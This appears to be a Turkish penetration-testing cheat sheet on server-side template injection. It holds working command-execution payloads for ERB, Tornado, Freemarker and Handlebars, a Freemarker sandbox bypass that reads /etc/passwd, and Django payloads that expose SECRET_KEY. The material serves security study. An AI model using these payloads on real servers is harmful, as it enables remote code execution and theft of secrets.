SSTI

SSTI Nedir?

Server side template injection, bir saldırganın native template syntax kullanarak bir şablona kötü amaçlı bir payload enjekte edebilmesi ve bunun sunucu tarafında çalıştırılmasıdır.

Template engine'ler sabit şablonları geçici verilerle birleştirerek web sayfaları oluşturmak üzere tasarlanmıştır. Server side template injection saldırıları, kullanıcı girdisi veri olarak aktarılmak yerine doğrudan bir şablonda birleştirildiğinde ortaya çıkabilir. Bu, saldırganların template engine'i manipüle etmek için keyfi template direktifleri enjekte etmelerine ve genellikle sunucunun kontrolünü tamamen ele geçirmelerine olanak tanır. Adından da anlaşılacağı üzere, server-side template injection yükleri server-side olarak gönderilir ve değerlendirilir, bu da onları tipik bir client-side template injection'dan çok daha tehlikeli hale getirir.

Saldırı Yöntemleri

Error Mesajları

Aşağıdaki karakterler ile template engine hatası görmeyi deneyebiliriz.

${{<%[%'"}}%\

ERB Template Engine (Ruby)

<%= 7*7 %>
<%= system("whoami") %>

Tornado Template Engine (Python)

{{7*7}}

{% import os %}{{os.system('whoami')

Freemarker Template Engine (Java)

${7*7}
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("whoami") }

Sandbox Bypass

${object.getClass()}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}

Handlebars Template Engine (Javascript)

wrtz{{#with "s" as |string|}}
    {{#with "e"}}
        {{#with split as |conslist|}}
            {{this.pop}}
            {{this.push (lookup string.sub "constructor")}}
            {{this.pop}}
            {{#with string.split as |codelist|}}
                {{this.pop}}
                {{this.push "return require('child_process').exec('whoami');"}}
                {{this.pop}}
                {{#each conslist}}
                    {{#with (string.sub.apply 0 codelist)}}
                        {{this}}
                    {{/with}}
                {{/each}}
            {{/with}}
        {{/with}}
    {{/with}}
{{/with}}

Django Template Engine (Python)

{% debug %}
{{settings.SECRET_KEY}}

Araçlar

SSTIMAP: https://github.com/vladko312/SSTImap

Kaynaklar

Portswigger Academy: https://portswigger.net/web-security/server-side-template-injection

Hacktricks: https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

Last updated